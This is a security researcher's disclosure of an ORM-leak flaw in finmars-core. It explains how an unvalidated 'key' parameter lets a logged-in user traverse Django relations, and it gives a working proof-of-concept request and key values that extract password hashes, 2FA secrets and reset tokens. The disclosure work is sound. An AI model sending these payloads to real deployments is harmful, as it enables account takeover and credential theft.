ORM Leak Vulnerability in Finmars
ORM Leak Vulnerability in Finmars
I recently conducted research on ORM Leaking - Top 2 web hacking technique by PortSwigger. Following this study, I utilized Sourcegraph to scan open-source repositories for potential vulnerabilities. This investigation led to the discovery of an ORM Leaking flaw within the Finmars repository.

Let’s analyze the vulnerability.
Description and Impact
| Type | Version Affected | Required Authentication | ?-day |
|---|---|---|---|
| ORM Leaking | finmars-core ≤ 1.24.5 | Yes | 0-day |
Root Cause Analysis
The Source
The application contains a security vulnerability within the category data extraction feature (/api/v1/specific-data/values-for-select/). This endpoint is designed to return values to the user interface based on a specified model and column name (key).
poms\api\urls.py

The vulnerability is the result of passing Untrusted Input directly from the API ViewSet down to the low-level ORM processing function.
In the ValuesForSelectViewSet class, the application accepts the content_type and key parameters from the URL but does not apply any Whitelist:
poms\common\views.py#L563

The Sink
The key variable carrying the payload (e.g., user__password) is passed into the _get_values_for_select function. Here, it is directly embedded into Django ORM functions.
poms\common\views.py#L434

When .values_list('user__password', flat=True) is called, the Django ORM automatically generates an INNER JOIN statement connecting the users_member table to the auth_user table and extracts the password column, completely bypassing the developer’s original security intent.
Equivalent SQL Query:
SELECT DISTINCT "auth_user"."password"
FROM "users_member"
INNER JOIN "auth_user"
ON ("users_member"."user_id" = "auth_user"."id")
WHERE (
"users_member"."master_user_id" = 123
AND "auth_user"."password" IS NOT NULL
)
ORDER BY "auth_user"."password" ASC;
Steps to Reproduce
Step 1: Log into the system as a regular user (Member) to obtain a valid Access Token.
Step 2: Send an HTTP GET request with a specially crafted payload:
content_type: Set tousers.member(this table contains themaster_usercolumn, preventing a 500 Internal Server Error when passing through the authorization filter).key: Set touser__password(utilizing ORM traversal to jump to theauth_usertable).
The final payload looks like this: /realm00000/space00000/api/v1/specific-data/values-for-select/?content_type=users.member&value_type=10&key=user__password
Request example:
GET /realm00000/space00000/api/v1/specific-data/values-for-select/?content_type=users.member&value_type=10&key=user__password HTTP/1.1
Host: 127.0.0.1
Cookie: <cookie>
Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1/realm00000/space00000/v/system/iam/member?page=1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

The impact extends far beyond password hashes. Because the ORM allows arbitrary JOIN operations, an attacker can extract any sensitive data linked to the source table via foreign keys. For example, by altering the key parameter, an attacker can extract:
- 2FA/MFA Secrets:
key=user__otp_tokens__secret - Password Reset Tokens:
key=user__password_reset_tokens__key - PII & Private Data:
key=user__notifications__message
This allows for zero-interaction Account Takeover (ATO) and massive data breaches across the entire system.
Recomendation
Strict input validation must be applied in _get_values_for_select to prevent users from leveraging Django ORM relation traversal.